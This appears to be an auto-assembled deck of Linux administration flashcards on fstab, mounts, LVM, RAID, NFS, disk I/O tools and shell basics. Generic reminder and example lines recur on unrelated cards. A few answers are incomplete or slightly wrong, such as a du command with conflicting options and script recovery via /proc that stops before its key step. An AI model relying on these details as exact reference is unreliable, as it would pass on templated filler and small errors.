Gotcha: Back up configs before editing: <html><code>cp file file.bak</code></html>. One typo can lock you out.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[What are file descriptors 0, 1, and 2?]]
* [[What does `2>` do?]]
* [[File descriptor in Linux/Unix]]
Q: How do you determine the appropriate amount of resources (CPU, RAM, storage) for a new server deployment?
A: • Requirements Analysis: Collaborate with stakeholders to gather and analyze requirements, understanding the anticipated workload, user base, and performance expectations. • Performance Benchmarking: Conduct performance benchmarking of similar applications or services to estimate resource needs based on historical data or industry benchmarks. • Capacity Planning: Utilize capacity planning methodologies to forecast resource requirements, considering factors such as growth projections and seasonal variations in demand.
Example: <html><code>mount -t ext4 /dev/sdb1 /mnt/data</code></html>. View: <html><code>mount | column -t</code></html> or <html><code>findmnt</code></html>.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[The Four Resources framework organizes performance bottlenecks]]
* [[Explain /proc vs /sys vs /dev — what kind of tuning would you do in each?]]
* [[The 60-second performance triage checklist covers all four resources]]
Q: Why should you use UUIDs instead of /dev/sdX device names in /etc/fstab, and how do you find a UUID?
A: Device names like /dev/sdX can change between reboots (e.g., when disks are added or removed). UUIDs are persistent identifiers tied to the filesystem. Use the blkid command to show filesystem UUIDs and types.
Remember: fstab fields: device, mount, type, options, dump, check. "DMTODC."
Gotcha: Typo → boot failure. Test: <html><code>mount -a</code></html>. Use <html><code>nofail</code></html> for non-critical mounts.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[Stable device references survive reboot via UUID, label, or WWN—never rely on /dev/sdX]]
* [[Using UUIDs in fstab instead of device paths prevents mount failures across disk changes]]
Q: How do you create a filesystem on a partition, and what precaution should you take?
A: Use mkfs.<type> (e.g., mkfs.ext4 /dev/sda1 or mkfs.xfs /dev/sdb1). Precaution: mkfs destroys all existing data on the partition. Always verify the target device with lsblk or blkid before running mkfs to avoid formatting the wrong device.
Remember: Linux FS knowledge is foundational. <html><code>man hier</code></html> shows the directory hierarchy.
Gotcha: Back up configs before editing: <html><code>cp file file.bak</code></html>. One typo can lock you out.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[You try to create a file but it fails. Name at least three different reason as to why i…]]
* [[Describe the Linux storage stack from application down to hardware.]]
* [[What is the difference between GPT and MBR partition schemes, and which tools manage them?]]
LVM organizes storage in three layers:
* ''Physical Volume (PV):'' A raw disk or partition initialized for LVM (<html><code>pvcreate /dev/sdb</code></html>).
* ''Volume Group (VG):'' A storage pool formed by aggregating one or more PVs (<html><code>vgcreate myvg /dev/sdb</code></html>).
* ''Logical Volume (LV):'' A virtual partition carved from a VG, onto which a filesystem is created and mounted (<html><code>lvcreate -L 10G -n mylv myvg</code></html>).
The flow is: disks → pool → virtual partitions. This layering enables flexible resizing, snapshots, and spanning a single LV across multiple physical disks — none of which are possible with a traditional fixed-partition scheme.
Mnemonic: PV→VG→LV = "disks→pool→partitions."
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[How do you create an LVM logical volume?]]
* [[Describe the process of extending a filesystem/disk]]
* [[Tell me about the dangers and caveats of LVM.]]
Q: What is the difference between GPT and MBR partition schemes, and which tools manage them?
A: MBR is legacy: supports up to 4 primary partitions and 2TB max disk size. GPT is modern: supports up to 128 partitions and disks larger than 2TB. Use fdisk for MBR, gdisk for GPT, or parted for both. GPT is recommended for all new systems.
Remember: Linux FS knowledge is foundational. <html><code>man hier</code></html> shows the directory hierarchy.
Gotcha: Back up configs before editing: <html><code>cp file file.bak</code></html>. One typo can lock you out.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[What is the difference between fdisk, parted, and gdisk?]]
* [[What is the difference between GPT and MBR?]]
* [[How do you create a filesystem on a partition, and what precaution should you take?]]
Q: How do you find which directories are consuming the most disk space?
A: Use du -sh /path/* to show disk usage summary for each item in a directory. du -sh --max-depth=1 / shows top-level directory sizes. Sort with du -sh /path/* | sort -rh to find the largest consumers first.
Example: <html><code>find /var/log -name '*.log' -mtime +30 -delete</code></html> — delete old logs.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[How do you find which directory is consuming the most inodes on a filesystem?]]
* [[Check disk/filesystem usage with df and du]]
* [[How would you check what is the size of a certain directory?]]
Q: What are the key fields in an /etc/fstab entry, and what does a typical line look like?
A: An fstab entry has 6 fields: device (UUID preferred), mount point, filesystem type, mount options, dump flag (0/1), fsck pass order (0/1/2). Example: UUID=abc-123 /data ext4 defaults,noatime 0 2. The fsck pass order determines check order at boot (0=skip, 1=root, 2=other).
Remember: fstab fields: device, mount, type, options, dump, check. "DMTODC."
Gotcha: Typo → boot failure. Test: <html><code>mount -a</code></html>. Use <html><code>nofail</code></html> for non-critical mounts.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
//Merged from 3 source atoms.//
''Related atoms''
* [[Recovering from a bad /etc/fstab entry that prevents boot]]
* [[Why should you use UUIDs instead of /dev/sdX device names in /etc/fstab, and how do you…]]
Q: Describe the Linux storage stack from application down to hardware.
A: Application -> Filesystem (ext4, xfs, btrfs) -> Device Mapper / LVM / mdadm (optional layers) -> Block Device (/dev/sda, /dev/nvme0n1) -> Hardware (SATA, SAS, NVMe, virtio). Device Mapper is the kernel framework underlying LVM, dm-crypt (encryption), and multipath. Each layer adds capability and complexity.
Remember: Linux FS knowledge is foundational. <html><code>man hier</code></html> shows the directory hierarchy.
Gotcha: Back up configs before editing: <html><code>cp file file.bak</code></html>. One typo can lock you out.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[Storage stack: five transformations from raw disk to usable directory]]
* [[lsblk: display block device hierarchy]]
Q: What is the Device Mapper in Linux, and which storage technologies depend on it?
A: Device Mapper is a kernel framework that provides a generic way to create virtual block devices mapped onto real ones. It underpins LVM (logical volume management), dm-crypt (disk encryption via LUKS), and multipath (redundant storage paths). Understanding Device Mapper helps when debugging why a device is not appearing or performing as expected.
Remember: Linux FS knowledge is foundational. <html><code>man hier</code></html> shows the directory hierarchy.
Gotcha: Back up configs before editing: <html><code>cp file file.bak</code></html>. One typo can lock you out.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[lsblk: display block device hierarchy]]
* [[Storage stack: five transformations from raw disk to usable directory]]
* [[What is dm-crypt?]]
Q: What RAID levels does Linux software RAID (mdadm) support, and when would you use each?
A: RAID 1 (mirror): two copies of data, good for boot drives and small critical volumes. RAID 5 (parity): striping with one parity disk, good read performance, can survive one disk failure. RAID 10 (mirror+stripe): combines mirroring and striping, best performance and redundancy, requires minimum 4 disks. Use mdadm to create and manage software RAID arrays.
Remember: 0=stripe, 1=mirror, 5=parity(min 3), 10=mirror+stripe. "0=Speed, 1=Mirror, 5=Parity."
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[What is RAID 10?]]
* [[What is RAID 5?]]
* [[How many parity levels does SnapRAID support, and what does each level provide?]]
Q: When is an inode's data actually freed on a Linux filesystem?
A: When both conditions are met: the hard link count reaches 0 (no directory entries reference the inode) AND no process has the file open. A deleted file with an open file descriptor continues to occupy disk space until the process closes it.
Remember: Inode = metadata (perms, size, timestamps, blocks) but NOT filename.
Gotcha: Out of inodes before disk space with millions of tiny files. Check: <html><code>df -i</code></html>.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[What command shows inode usage per mounted filesystem?]]
* [[Which of the following is not included in inode:]]
* [[Inode exhaustion prevents file creation despite free disk space]]
Q: How do you find the UUID of a block device?
A: Use blkid or lsblk -f. Both show UUID, filesystem type, and label for all block devices.
Example: <html><code>find /var/log -name '*.log' -mtime +30 -delete</code></html> — delete old logs.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[In which path can you find the system devices (e.g. block storage)?]]
* [[What is `lsblk`?]]
* [[blkid: display block device attributes (UUID, type, label)]]
Q: What happens if an fstab entry lacks the nofail option and the device is unavailable at boot?
A: The system blocks during boot waiting for the device, potentially rendering the server unbootable. Adding nofail tells systemd to continue boot even if the mount fails.
Remember: fstab fields: device, mount, type, options, dump, check. "DMTODC."
Gotcha: Typo → boot failure. Test: <html><code>mount -a</code></html>. Use <html><code>nofail</code></html> for non-critical mounts.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[Recovering from a bad /etc/fstab entry that prevents boot]]
* [[NFS fstab entries require _netdev and nofail flags]]
Q: What is the difference between hard and soft NFS mount options?
A: hard (default) retries indefinitely — processes hang until the server returns. soft gives up after retrans retries and returns an I/O error to the application.
Example: <html><code>mount -t ext4 /dev/sdb1 /mnt/data</code></html>. View: <html><code>mount | column -t</code></html> or <html><code>findmnt</code></html>.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[How do you diagnose a hung NFS mount on a Linux client?]]
* [[What is lazy umount in Linux and when would you use it?]]
Q: How do you find which processes are preventing a filesystem from being unmounted?
A: Use fuser -vm /mount/point to list processes with open files, current directories, or executables on the filesystem. Alternatively, lsof +D /mount/point shows all open file descriptors.
Example: <html><code>find /var/log -name '*.log' -mtime +30 -delete</code></html> — delete old logs.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[Mounting attaches a filesystem to the VFS directory tree]]
* [[You run the mount command but you get no output. How would you check what mounts you ha…]]
* [[/proc/[pid]/fd reveals all open file descriptors for a process]]
Adding an NFS mount to fstab without the <html><code>_netdev</code></html> flag causes systemd to attempt the mount before the network interface is up. The mount either fails or hangs indefinitely. If <html><code>nofail</code></html> is also absent, the system waits for the mount before completing boot, leaving the server stuck at the login prompt.
The <html><code>_netdev</code></html> flag tells systemd that this mount depends on network availability and must be processed only after the network layer initializes. The <html><code>nofail</code></html> flag prevents a failed mount from blocking boot—systemd proceeds to the login prompt even if the NFS server is unreachable.
This matters because NFS is fundamentally network-dependent. Unlike local mounts, which fail quickly, NFS hangs can persist for minutes while the client waits for a server that is down or unreachable. The combination of <html><code>_netdev</code></html> and <html><code>nofail</code></html> ensures boot-time resilience: the system starts whether the NFS server is available or not, and applications that depend on the mount handle its absence gracefully.
Gotcha: a typo in fstab options causes boot failure. Test changes with <html><code>mount -a</code></html> before rebooting. fstab field order: device, mountpoint, type, options, dump, check.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
* <html><code>training/library/topics/mounts-filesystems/footguns.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[What happens if an fstab entry lacks the nofail option and the device is unavailable at…]]
* [[Test fstab changes with mount -a before rebooting]]
A bind mount reuses an existing directory tree at another location without copying data. To make it read-only, you cannot specify <html><code>ro</code></html> on the initial mount command—the flag is silently ignored. Instead, use two steps: first bind-mount normally, then remount with read-only flags.
<html><pre><code class="language-plaintext">mount --bind /src /dest
mount -o remount,bind,ro /dest</code></pre></html>
The <html><code>remount</code></html> operation changes only the mount flags without removing and re-adding the mount, preserving the bind relationship. For fstab, add an entry with <html><code>bind,ro</code></html> flags; the kernel applies the same two-step behavior at boot time.
This pattern is common when sharing host directories into chroots or containers with restricted access. Inspect active mounts with <html><code>mount | column -t</code></html> or <html><code>findmnt</code></html>.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
* <html><code>training/library/topics/mounts-filesystems/street_ops.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[Remounting read-only is a safe first response to filesystem errors]]
* [[When would you remount a filesystem read-only on a running system, and how?]]
Q: When would you remount a filesystem read-only on a running system, and how?
A: Use mount -o remount,ro /path when the filesystem shows corruption (prevent further damage), before taking an LVM snapshot, or during emergency disk diagnostics. This avoids a full unmount when processes hold references.
Example: <html><code>mount -t ext4 /dev/sdb1 /mnt/data</code></html>. View: <html><code>mount | column -t</code></html> or <html><code>findmnt</code></html>.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[Remounting read-only is a safe first response to filesystem errors]]
* [[Mounting attaches a filesystem to the VFS directory tree]]
* [[Read-only bind mount requires a two-step setup]]
When a bad fstab entry prevents a Linux server from booting, the recovery procedure is: boot into single-user mode or from rescue media; remount root read-write with <html><code>mount -o remount,rw /</code></html>; edit <html><code>/etc/fstab</code></html> to correct or comment out the bad entry; reboot normally.
Common causes: wrong UUID (disk replaced or reformatted), missing device, typo in mount point or filesystem type. Use <html><code>blkid</code></html> to verify UUIDs before editing.
Prevention: always run <html><code>mount -a</code></html> to test fstab changes before rebooting. Add the <html><code>nofail</code></html> option to non-critical mounts so a missing device does not halt boot.
Fstab field order: device, mount point, filesystem type, options, dump, check — mnemonic "DMTODC."
Gotcha: a single typo in any field can cause boot failure; <html><code>mount -a</code></html> catches errors before they become incidents.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[Validate fstab syntax changes before reboot to avoid emergency mode]]
* [[Why should you use UUIDs instead of /dev/sdX device names in /etc/fstab, and how do you…]]
* [[What happens if an fstab entry lacks the nofail option and the device is unavailable at…]]
Q: How do you diagnose a hung NFS mount on a Linux client?
A: Check for processes in uninterruptible sleep (D state) with ps aux | grep " D ". Review NFS client statistics with nfsstat -c. Inspect /proc/self/mountstats for stuck operations. Verify server availability with showmount -e and rpcinfo -p. If soft-mounted, the application gets I/O errors; if hard-mounted, processes block until the server recovers or you force-unmount with umount -f.
Example: <html><code>mount -t ext4 /dev/sdb1 /mnt/data</code></html>. View: <html><code>mount | column -t</code></html> or <html><code>findmnt</code></html>.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[What is the difference between hard and soft NFS mount options?]]
blkid displays attributes for all block devices: UUID, filesystem type (e.g., ext4, xfs), label, and partition type GUID.
Primary use: identifying which device corresponds to which UUID so that /etc/fstab can be written with stable UUIDs rather than /dev/sdX device names, which can change between reboots as hardware or enumeration order shifts.
Common troubleshooting workflow: run <html><code>blkid</code></html> to get UUIDs, verify they match /etc/fstab entries, correct any mismatch. A misconfigured fstab can prevent the system from booting.
Gotcha: always back up configuration files before editing (<html><code>cp file file.bak</code></html>). A single typo in /etc/fstab can lock you out of the system.
Reference: <html><code>man hier</code></html> documents the Linux directory hierarchy; <html><code>man blkid</code></html> covers all output fields and options.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[Why should you use UUIDs instead of /dev/sdX device names in /etc/fstab, and how do you…]]
* [[Device names are unstable; fstab must use UUIDs, not /dev/sdX]]
<html><code>iostat -xz 1</code></html> reports per-device I/O statistics updated every second. Always discard the first report—it shows cumulative averages since boot; subsequent reports reflect current activity.
''Key device columns:'' <html><code>%util</code></html> (device utilization; >70–90% on spinning disk indicates saturation), <html><code>await</code></html> (average I/O latency in ms; >20ms for HDD or >10ms for SSD suggests a problem), <html><code>r/s</code></html> / <html><code>w/s</code></html> (IOPS), <html><code>rkB/s</code></html> / <html><code>wkB/s</code></html> (throughput), <html><code>rrqm/s</code></html> / <html><code>wrqm/s</code></html> (merged requests, indicating sequential access).
''CPU section:'' <html><code>%iowait</code></html> shows the fraction of time CPUs are blocked waiting for I/O; elevated values confirm an I/O bottleneck. Also visible: <html><code>%user</code></html>, <html><code>%system</code></html>, <html><code>%idle</code></html>.
''NVMe/SSD caveat:'' <html><code>%util</code></html> is misleading on NVMe and multi-queue SSDs because they handle massive parallelism. On these devices, rely on <html><code>await</code></html> rather than <html><code>%util</code></html> to detect saturation.
''Finding the culprit process:'' <html><code>iotop -oa</code></html> shows accumulated I/O per process in real time, pinpointing which applications are generating the load.
''I/O scheduler:'' Modern systems benefit from <html><code>none</code></html> or <html><code>mq-deadline</code></html> for SSDs and <html><code>bfq</code></html> or <html><code>mq-deadline</code></html> for HDDs. Queue depth also affects ordering behavior.
''Deeper investigation:'' <html><code>blktrace</code></html> captures per-block I/O traces to distinguish sequential vs. random and read vs. write patterns. Application symptoms (slow queries, timeouts) often root-cause to disk saturation surfaced by <html><code>iostat</code></html> first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
* <html><code>training/library/topics/linux-ops/l3-linux-triage.md</code></html>
* <html><code>training/interactive/knowledge/data/cards/linux-performance.tsv</code></html>
//Merged from 3 source atoms.//
''Related atoms''
* [[Load averages are above 30 on a server with 24 cores but CPU shows around 70 percent id…]]
* [[You see high "iowait" in top. What are your next three steps to identify the culprit?]]
* [[Identifying which process generates the most disk I/O]]
Several tools expose per-process disk I/O on Linux:
* ''<html><code>iotop -oP</code></html>'' — interactive real-time view; <html><code>-o</code></html> filters to processes currently performing I/O, <html><code>-P</code></html> groups by process rather than thread. Displays per-process read and write bandwidth, making it the fastest way to pinpoint the source of disk pressure.
* ''<html><code>pidstat -d 1</code></html>'' — non-interactive; prints per-process I/O statistics at a 1-second interval. Useful in scripts or remote sessions without a terminal.
* ''<html><code>dstat --top-io</code></html>'' — shows the top I/O-consuming process alongside other system metrics in a single stream.
* ''<html><code>/proc/PID/io</code></html>'' — kernel-provided file with cumulative byte counts (<html><code>rchar</code></html>, <html><code>wchar</code></html>, <html><code>read_bytes</code></html>, <html><code>write_bytes</code></html>) for a specific PID. Useful for scripted comparisons or when interactive tools are unavailable.
For config files edited while investigating, keep a backup (<html><code>cp file file.bak</code></html>) before making changes — a typo in a critical config can disrupt access. The <html><code>man hier</code></html> page documents the Linux directory hierarchy for orientation.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[Diagnosing disk I/O bottlenecks with iostat and iotop]]
* [[How do you check per-process CPU, memory, and I/O usage on Linux?]]
* [[What does `pidstat` show?]]
Q: Why do /dev/sdX device names change between reboots, and what should you use instead?
A: /dev/sdX names are assigned by the kernel based on device detection order, which can change when disks are added, removed, or detected in a different sequence. Use UUIDs (from blkid) or filesystem labels in /etc/fstab and scripts. UUIDs are tied to the filesystem and persist regardless of detection order.
Remember: Linux FS knowledge is foundational. <html><code>man hier</code></html> shows the directory hierarchy.
Gotcha: Back up configs before editing: <html><code>cp file file.bak</code></html>. One typo can lock you out.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[Device names are unstable; fstab must use UUIDs, not /dev/sdX]]
* [[What is the advantage of using /dev/disk/by-id/ instead of /dev/sdX in fstab?]]
Q: How do you quickly check the status of LVM physical volumes, volume groups, and logical volumes?
A: Use pvs (Physical Volume summary), vgs (Volume Group summary), and lvs (Logical Volume summary). These give a one-line-per-item overview of your LVM configuration including sizes, free space, and status. For detailed info, use pvdisplay, vgdisplay, and lvdisplay.
Remember: LVM: PV→VG→LV. "Disks→pool→partitions."
Example: <html><code>pvcreate /dev/sdb && vgcreate myvg /dev/sdb && lvcreate -L 10G -n mylv myvg</code></html>
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[LVM (Logical Volume Manager) in Linux]]
* [[How do you create an LVM logical volume?]]
* [[LVM three-layer abstraction: PV → VG → LV]]
Q: You need to replace a failed disk in a Linux software RAID array. What is the general procedure?
A: 1) Identify the failed disk with mdadm --detail /dev/mdX or cat /proc/mdstat. 2) Remove the failed disk: mdadm --manage /dev/mdX --remove /dev/sdY. 3) Physically replace the disk. 4) Partition the new disk to match the array layout. 5) Add the new disk: mdadm --manage /dev/mdX --add /dev/sdZ. 6) Monitor rebuild: watch cat /proc/mdstat. The array runs degraded during rebuild.
Example: <html><code>du -sh /var/log/*</code></html> — size per item. <html><code>du -sh --max-depth=1 /</code></html> for overview.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[What RAID levels does Linux software RAID (mdadm) support, and when would you use each?]]
* [[What are the steps to add a new drive to an existing data hoarding array?]]
* [[Typos in destructive commands cause irreversible data loss]]
Q: How do you check and change the I/O scheduler for a block device, and which scheduler is best for NVMe vs spinning disk?
A: Check: cat /sys/block/sda/queue/scheduler. Change: echo deadline > /sys/block/sda/queue/scheduler. For spinning disks, deadline or mq-deadline reduces latency for database workloads. For NVMe, use none (no scheduler) since NVMe has its own internal parallelism and scheduling. Set nr_requests to increase queue depth for high-throughput workloads.
Example: <html><code>du -sh /var/log/*</code></html> — size per item. <html><code>du -sh --max-depth=1 /</code></html> for overview.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[I/O schedulers evolved from disk optimization to irrelevance for SSDs]]
* [[What is an I/O scheduler?]]
* [[How do you change the I/O scheduler for a block device?]]
Q: You have the task of sync the testing and production environments. What steps will you take?
A: Steps to sync testing and production environments:
# ''Snapshot production'': Create DB dump and disk/VM snapshots
# ''Restore to test'': Import snapshots into testing environment
# ''Sanitize data'': Remove/mask sensitive data (PII, credentials)
# ''Sync packages'': Match OS and application versions
# ''Update configs'': Adjust environment-specific settings (hostnames, endpoints, credentials)
# ''Verify'': Run smoke tests to confirm parity
Key principle: Only production is production. Use infrastructure-as-code and deploy scripts to minimize drift.
Example: <html><code>du -sh /var/log/*</code></html> — size per item. <html><code>du -sh --max-depth=1 /</code></html> for overview.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[The Junior dev accidentally destroyed production database. How can you prevent such sit…]]
Q: Can you give a particular example when is indicated to use <html><code>nobody</code></html> account? Tell me the differences running httpd service as a <html><code>nobody</code></html> and <html><code>www-data</code></html> accounts.
A: In Unix, <html><code>nobody</code></html> is a user account that owns no files and has no special privileges. It is used to run daemons that don't need filesystem access (e.g., memcached).
''nobody vs www-data for httpd:''
* <html><code>nobody</code></html>: Shared across services. If one service is compromised, attacker gains access to all nobody-owned processes
* <html><code>www-data</code></html>: Application-specific user. Isolates Apache from other services. Preferred for web servers
Best practice: Use per-service accounts (www-data, postgres, etc.) rather than the shared nobody account. This limits blast radius if a service is compromised.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[Overloading the nobody user violates least-privilege isolation]]
* [[Systemd hardening directives enforce permission and filesystem isolation]]
Q: Describe shortly what happens when you execute a command in the shell
A: The shell figures out, using the PATH variable, where the executable of the command resides in the filesystem. It then calls fork() to create a new child process for running the command. Once the fork was executed successfully, it calls a variant of exec() to execute the command and finally, waits the command to finish using wait(). When the child completes, the shell returns from wait() and prints out the prompt again.
Remember: Linux FS knowledge is foundational. <html><code>man hier</code></html> shows the directory hierarchy.
Gotcha: Back up configs before editing: <html><code>cp file file.bak</code></html>. One typo can lock you out.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[What does the readdir() system call do?]]
* [[Describe the fork-exec-wait process lifecycle in Linux.]]
* [[Linux process management system calls]]
Q: How to prevent <html><code>dd</code></html> from freezing your system?
A: Try using ionice:
<html><pre><code class="language-bash">ionice -c3 dd if=/dev/zero of=file</code></pre></html>
This start the <html><code>dd</code></html> process with the "idle" IO priority: it only gets disk time when no other process is using disk IO for a certain amount of time.
Of course this can still flood the buffer cache and cause freezes while the system flushes out the cache to disk. There are tunables under <html><code>/proc/sys/vm/</code></html> to influence this, particularly the <html><code>dirty_*</code></html> entries.
Remember: Linux FS knowledge is foundational. <html><code>man hier</code></html> shows the directory hierarchy.
Gotcha: Back up configs before editing: <html><code>cp file file.bak</code></html>. One typo can lock you out.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[You see high "iowait" in top. What are your next three steps to identify the culprit?]]
* [[System freezes for 30-60 seconds randomly. SSH hangs. No kernel panic. Why?]]
* [[Explain dirty pages and writeback in Linux]]
Q: You try to create a file but it fails. Name at least three different reason as to why it could happen
A: * No more disk space
* No more inodes
* No permissions
Remember: Linux FS knowledge is foundational. <html><code>man hier</code></html> shows the directory hierarchy.
Gotcha: Back up configs before editing: <html><code>cp file file.bak</code></html>. One typo can lock you out.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[You are trying to create a new file but you get "File system is full". You check with d…]]
* [[How do you create a filesystem on a partition, and what precaution should you take?]]
* [[What does the /bin directory contain?]]
Q: You executed a script and while still running, it got accidentally removed. Is it possible to restore the script while it's still running?
A: It is possible to restore a script while it's still running if it has been accidentally removed. The running script process still has the code in memory. You can use the /proc filesystem to retrieve the content of the running script.
1.Find the Process ID by running
<html><pre><code class="language-plaintext">ps aux | grep yourscriptname.sh</code></pre></html>
Replace yourscriptname.sh with your script name.
2.Once you have the PID, you can access the script's memory through the /proc filesystem.
Remember: Linux FS knowledge is foundational. <html><code>man hier</code></html> shows the directory hierarchy.
Gotcha: Back up configs before editing: <html><code>cp file file.bak</code></html>. One typo can lock you out.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[How do you recover a deleted file still held open by a process?]]
* [[You deleted an active log file (e.g. /var/log/apache2/access.log) but didn't restart th…]]
* [[How to recover deleted file held open e.g. by Apache?]]
Q: Why are there different sections in man? What is the difference?
A: Man pages are organized into numbered sections by topic.
Sections:
# User commands (ls, cp, cat)
# System calls (open, read, fork)
# Library functions (printf, malloc)
# Special files (/dev devices)
# File formats (/etc/passwd format)
# Games
# Miscellaneous (conventions, standards)
# System admin commands (mount, systemctl)
Why sections exist:
* Same name in different contexts
* Example: printf(1) command vs printf(3) C function
* Example: passwd(1) command vs passwd(5) file format
Access specific section:
* man 1 printf - Command
* man 3 printf - C function
* man 5 passwd - File format
Find all:
* man -k keyword - Search descriptions
* man -f command - List all sections
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[What is a man page section number system?]]
* [[What is the difference between man and info?]]
* [[What does the man command provide?]]
Q: How to generate a random string of 7 characters?
A: <html><code>mkpasswd -l 7</code></html>
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[Create a file with 100 lines with random values.]]
* [[How to generate a random string?]]
* [[Demonstrate one way to encode and decode data in Linux]]
Q: How to rename the name of a file or a directory?
A: Using the <html><code>mv</code></html> command.
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[How could you modify a text file without invoking a text editor?]]
* [[How do you move up one directory level?]]
* [[[[Explain what will ls [XYZ] match]]]]
Q: What command shows the current directory path?
A: <html><code>pwd</code></html> (Print Working Directory) displays the absolute path of your current directory. Example output: <html><code>/home/user/projects</code></html>. Use <html><code>pwd -P</code></html> to resolve symlinks and show the physical path.
Gotcha: in a symlinked directory, plain <html><code>pwd</code></html> may show the symlink path while <html><code>pwd -P</code></html> shows the real location.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[What is the PATH variable?]]
* [[How `cd -` works? How does it knows the previous location?]]
* [[What is the HOME variable?]]
Q: What are soft limits and hard limits?
A: ''Hard limit'' is the maximum allowed to a user, set by the superuser or root. This value is set in the file <html><code>/etc/security/limits.conf</code></html>. The user can increase the ''soft limit'' on their own in times of needing more resources, but cannot set the ''soft limit'' higher than the ''hard limit''.
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[Explain the difference between ulimit -n and fs.file-max — how do they interact?]]
* [[What are the most common ulimit-related production failures, and how do you fix them?]]
* [[What is the use of ulimit in Unix-like systems?]]
Q: Every command fails with <html><code>command not found</code></html>. How to trace the source of the error and resolve it?
A: It looks that at one point or another are overwriting the default <html><code>PATH</code></html> environment variable. The type of errors you have, indicates that <html><code>PATH</code></html> does not contain e.g. <html><code>/bin</code></html>, where the commands (including bash) reside.
One way to begin debugging your bash script or command would be to start a subshell with the <html><code>-x</code></html> option:
<html><pre><code class="language-bash">bash --login -x</code></pre></html>
This will show you every command, and its arguments, which is executed when starting that shell.
Also very helpful is show <html><code>PATH</code></html> variable values:
<html><pre><code class="language-bash">echo $PATH</code></pre></html>
